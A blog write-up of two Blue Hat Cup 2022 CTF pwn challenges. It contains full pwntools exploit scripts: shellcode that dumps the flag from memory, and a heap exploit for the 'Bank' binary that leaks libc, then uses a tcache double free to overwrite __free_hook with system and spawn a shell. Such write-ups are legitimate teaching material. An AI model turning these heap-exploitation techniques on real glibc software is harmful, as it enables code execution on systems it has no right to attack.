Skip to main content

PWN Writeup Reenactment on Blue Hat Cup 2022

· 6 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

Just recording the PWN challenge from Blue Hat Cup a few days ago. I won't be reenacting the other Misc and forensic challenges as I didn't quite understand them during the competition and relied heavily on my teammates.

I directly wrote a simple shellcode and relied on luck to go through (specifically by placing it in the memory page where /flag is located and then outputting the result).

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'DEBUG'

# sh = process(['escape_shellcode'])
sh = remote("39.107.108.120", 44431)
shellcode = """
mov r8, 0x557000000120

run:
mov rax, 1
mov rdi, 1
xor rdx, rdx
mov rdx, 0x10000
mov rsi, r8
syscall
cmp al, 0xf2
je looper

looper:
add r8, 0x10000
jmp run

"""
sh.sendline(asm(shellcode))
sh.interactive()

The official writeup directly read the flag from the .bss section. While I understood the principle when debugging locally, I didn't know where these values came from. Essentially, it involved obtaining the prctl@got.plt address and storing it in R8. The process included finding out how to fetch this address (by locating the pointer [rip + 0xfb5 - 7] through RIP, then adding 0x3e8 to reach the @got.plt), and then recording the actual address in R9. Subsequently, using R9 to store libc_base, calculating the address of environ to find the program's base address in order to read the .bss section's flag.

Although I understood the approach, I wasn't sure how to actually implement it.

#!/usr/bin/python3
#-*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','sp','-h','-l','120']

# remote_service = ""
# remote_service = remote_service.strip().split(":")
# p = remote(remote_service[0], int(remote_service[1]))
p = remote('39.106.156.74', 15163)
filename = "./pwn"
# p = process(filename)
e = ELF(filename, checksec=False)
l = ELF(e.libc.path, checksec=False)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def debugPID():
# lg("p.pid")
# input()
pass

# environ = 0x3ee098
# prctl = 0x122210
def send_code():
code = asm(
f"""
lea rsi, byte ptr [rip - 0x2ba]
add rsi, 0xf69
mov rsp, rsi
lea rdx, byte ptr [rip + 0xfb5 - 7]
mov r8, [rdx]
add r8, 0x3e8
mov r9, [r8]
sub r9, 0x122210

mov r8, r9
add r8, 0x3ee098

mov r9, [r8]
sub r9, 0x40

mov r8, [r9]
sub r8, 0x11a0
add r8, 0x4120

mov rdi, 1
mov rax, 1
mov rsi, r8
mov rdx, 0x40
syscall

"""
)
p.send(code)

debugPID()
send_code()
debugPID()
irt()

Bank

I won't provide an IDA screenshot here, but I'll briefly analyze the functionalities. In the deposit function, it doesn't return when money = balance, instead, it executes cash += money. On the other hand, in the reduce_money function, it returns when money = balance, without deducting the money from the balance.

Thus, we can exploit put and deposit functions to accumulate money. The main vulnerability lies in the transfer function. admin can be used to read any address on the heap, hacker can be used to free any address, ghost allows reallocating the ptr on the heap, guest can be employed to malloc a heap of 0x18 bytes and write 0x10 bytes, and abyss can execute *result=read_ui() in the initialization, triggering exit(0);.

Starting with setting up the menu, I made the transfer more complex than necessary due to not considering all possibilities initially. Separating them out is a more straightforward approach.

from typing import Union, AnyStr, Tuple, Literal
from pwn import *

context(log_level='DEBUG', arch='amd64', os='linux')

sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')

Money = Union[AnyStr, int, float]

# Function to convert various data types to bytes
def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()

# Implementing menu functions
def menu(index: Literal[0, 2, 3, 4, 5, 6]):
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())

# Other functions for login, info, deposit, transfer, etc.
...

Firstly, it is essential to accumulate money. Through local debugging, you can determine that the original cash was 0x190.

login('114514', '114514')

put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash

You can exploit realloc to create a tcache by reallocating one large and one small size heap chunk, obtaining the heap_addr. However, keep in mind that to read an address, you need to send money to admin, who requires at least 0x1E cash. This means that you will read at least the address 8 * 0x1E + g_malloc. Therefore, you need to create a tcache at least at 0xf0 + g_malloc to achieve the desired result. Since realloc can only reach a maximum size of 0x100, carefully consider the construction process.

After acquiring the heap_addr, giving you the ability to free any heap, you can construct a fake chunk within the large_bin range, leading to a direct pointer to main_arena, enabling retrieval of libc_base, followed by obtaining free_hook and system.

transfer('guest', 6, p64(0x431).rjust(0x10, b'\x00'), False)
for _ in range(40):
transfer('guest', 6, b'1')
transfer('hacker', 51, heap_addr+0x3c0)
malloc_hook_addr = int(transfer('admin', 0x120 / 8), 16) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

Now, you can proceed with exploiting the Double Free vulnerability to target free_hook.

for i in range(7):
transfer('hacker', 51, heap_addr+0x3f0+i*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
transfer('hacker', 51, heap_addr+0x3f0+8*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)

for _ in range(7):
transfer('guest', 6, b'/bin/sh\x00')
transfer('guest', 6, p64(free_hook_addr-0x8).ljust(0x10, b'\x00'), False)
transfer('guest', 6, b'')
transfer('guest', 6, b'')
transfer('guest', 6, p64(system_addr).rjust(0x10, b'\x00'), False)
transfer('hacker', 51, heap_addr+0x3f0)

sh.interactive()

Here's the complete exploit code:

from typing import Union, AnyStr, Tuple, Literal
from pwn import *

context(log_level='DEBUG', arch='amd64', os='linux')

sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')

Money = Union[AnyStr, int, float]

# Function to convert various data types to bytes
def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()

# Implementing menu functions
def menu(index: Literal[0, 2, 3, 4, 5, 6]):
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())

# Other functions for login, info, deposit, transfer, etc.
...

login('114514', '114514')
put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash

transfer('ghost', 11, 0x100)
transfer('ghost', 11, 0xe0)
heap_addr = int(transfer('admin', 0x118/8), 16) - 0x10

transfer('guest', 6, p64(0x431).rjust(0x10, b'\x00'), False)
for _ in range(40):
transfer('guest', 6, b'1')
transfer('hacker', 51, heap_addr+0x3c0)
malloc_hook_addr = int(transfer('admin', 0x120 / 8), 16) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

for i in range(7):
transfer('hacker', 51, heap_addr+0x3f0+i*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
transfer('hacker', 51, heap_addr+0x3f0+8*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)

for _ in range(7):
transfer('guest', 6, b'/bin/sh\x00')
transfer('guest', 6, p64(free_hook_addr-0x8).ljust(0x10, b'\x00'), False)
transfer('guest', 6, b'')
transfer('guest', 6, b'')
transfer('guest', 6, p64(system_addr).rjust(0x10, b'\x00'), False)
transfer('hacker', 51, heap_addr+0x3f0)

sh.interactive()
Loading Comments...